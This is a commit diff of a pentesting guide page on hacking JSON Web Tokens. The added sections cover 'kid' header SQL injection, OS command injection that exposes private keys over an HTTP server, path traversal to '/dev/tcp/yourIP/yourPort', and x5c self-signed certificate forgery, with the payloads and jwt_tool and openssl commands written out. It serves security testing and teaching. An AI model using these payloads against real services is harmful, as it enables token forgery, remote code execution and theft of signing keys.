Skip to content

Commit 2d9b1b5

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] one page and one asset modified
1 parent 39c0d21 commit 2d9b1b5

File tree

2 files changed

+23
-2
lines changed

2 files changed

+23
-2
lines changed

.gitbook/assets/image (440).png

113 KB
Loading

pentesting-web/hacking-jwt-json-web-tokens.md

Lines changed: 23 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,11 +83,11 @@ If you get an HTTP interaction you now know that the server is trying to load ke
8383

8484
`kid` is an optional header claim which holds a key identifier, particularly useful when you have multiple keys to sign the tokens and you need to look up the right one to verify the signature.
8585

86-
### "kid" issues - reveal key:
86+
### "kid" issues - reveal key
8787

8888
If the claim "kid" is used in the header, check the web directory for that file or a variation of it. For example if `"kid":"key/12345"` then look for _/key/12345_ and _/key/12345.pem_ on the web root.
8989

90-
### "kid" issues - path traversal:
90+
### "kid" issues - path traversal
9191

9292
If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try `"kid":"/dev/tcp/yourIP/yourPort"` to test connectivity, or even some **SSRF** payloads...
9393
_Use jwt\_tool's -T flag to tamper the JWT and change the value of the kid claim, then choose to keep the original signature_
@@ -98,6 +98,14 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
9898

9999
Using files inside the host with known content you can also forge a valid JWT. For example, in linux systems the file `/proc/sys/kernel/randomize_va_space` has the value set to **2**. So, putting that **path** inside the "**kid**" parameter and using "**2**" as the **symetric password** to generate the JWT you should be able to generate a valid new JWT.
100100

101+
### "kid" issues - SQL Injection
102+
103+
In a scenario wehre the content of the "kid" is used to retreive the password from the database, you could change the payload inside the "kid" parameter to: `non-existent-index' UNION SELECT 'ATTACKER';-- -` and then sign the JWT with the secret key `ATTACKER`.
104+
105+
### "kid" issues - OS Injection
106+
107+
In a scenario where the "kid" parameter contains a path to the file with the key and this path is being used **inside an executed command** you could be able to obtain RCE and expose the private key with a payload like the following: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
108+
101109
## Miscellaneous attacks
102110

103111
The following are known weaknesses that should be tested for.
@@ -163,6 +171,19 @@ Then you can use for example [**jwt.io**](https://jwt.io/) ****to create the new
163171

164172
You can also abuse both of these vulns **for SSRFs**.
165173

174+
### x5c
175+
176+
This parameter may contain the **certificate in base64**:
177+
178+
![](../.gitbook/assets/image%20%28440%29.png)
179+
180+
If the attacker **generates a self-signed certificate** and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
181+
182+
```bash
183+
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
184+
openssl x509 -in attacker.crt -text
185+
```
186+
166187
## Embedded Public Key \(CVE-2018-0114\)
167188

168189
If the JWT has embedded a public key like in the following scenario:

0 commit comments

Comments
 (0)